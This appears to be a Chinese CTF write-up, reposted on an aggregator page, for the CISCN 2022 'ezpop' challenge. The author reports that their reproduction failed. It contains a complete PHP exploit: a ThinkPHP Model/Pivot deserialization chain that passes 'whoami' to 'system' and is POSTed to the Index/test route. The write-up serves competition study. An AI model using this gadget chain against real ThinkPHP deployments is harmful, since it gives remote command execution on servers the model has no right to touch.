当前位置: 首页 > news >正文

[CISCN 2022 初赛]ezpop(没成功复现)

打开在线环境可以看到:
在这里插入图片描述
记得之前做过一个类似的就是有点像照着漏洞去复现。应该可以直接在网上找到链子去打。
www.zip查看路由是 Index/test,然后 post 传参 a:
在这里插入图片描述
exp(参考了别的大神的wp):

<?php
// 保证命名空间的一致
namespace think {
    // Model需要是抽象类
    abstract class Model {
        // 需要用到的关键字
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;

        // 初始化
        public function __construct($obj='') {
            $this->lazySave = true;
            $this->data = ['whoami'=>['whoami']];
            $this->exists = true;
            $this->table = $obj;    // 触发__toString
            $this->withAttr = ['whoami'=>['system']];
            $this->json = ['whoami'];
            $this->jsonAssoc = true;
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        
    }
    
    // 实例化
    $p = new Pivot(new Pivot());
    echo urlencode(serialize($p));
}


在这里插入图片描述
我看的题解是在这一步之后就拿到了flag但是不知道为什么这边显示不出来flag(倒下)就这样吧。

http://www.dtcms.com/a/70800.html

相关文章:

  • Java多线程与高并发专题——原子类和 volatile、synchronized 有什么异同?
  • Mac中nvm切换node版本失败,关闭终端再次打开还是之前的node
  • Protobuf 学习与实践
  • JVM--垃圾回收
  • 网络空间安全(32)Kali MSF基本介绍
  • 【DevOps】 基于数据驱动的Azure DevOps案例实现
  • VS2019下载链接
  • C++的名称空间
  • C# 异步编程
  • RAG技术深度解析:从原理到企业级应用实战
  • 串排序(信息学奥赛一本通-2048)
  • TMS320F28P550SJ9学习笔记12:简单的Modbus协议
  • 如何将一个盘做成 lvm 盘并挂载
  • LeetCode --- 440周赛
  • HarmonyOS第24天:鸿蒙应用安全秘籍:如何为用户数据筑牢防线?
  • YOLOE:实时查看任何事物
  • 类和对象(中)
  • Hive SQL 精进系列: JSON_TUPLE 快速提取多键值
  • QT6.8.2在线安装记录
  • 【async 和 await】
  • set_clock_groups
  • 整数分段c++
  • java8 函数式编程 Supplier 类 supplier如何使用 supplier类作用
  • //要求:将输入的字符串中的数字转换为罗马数字,长度小于9(运用方法:Switch方法)
  • Arduino安装包、驱动、ESP离线包【2025免费下载】【附开发资源包】
  • Huggingface命令行下载开源大模型
  • 【Delphi 开箱即用 8】多进程之间共享内存的封装单元
  • Cesium零基础速成教程:一小时入门Cesium
  • 学习springboot 的自动配置原理
  • 电子招采软件系统,如何实现10年可追溯审计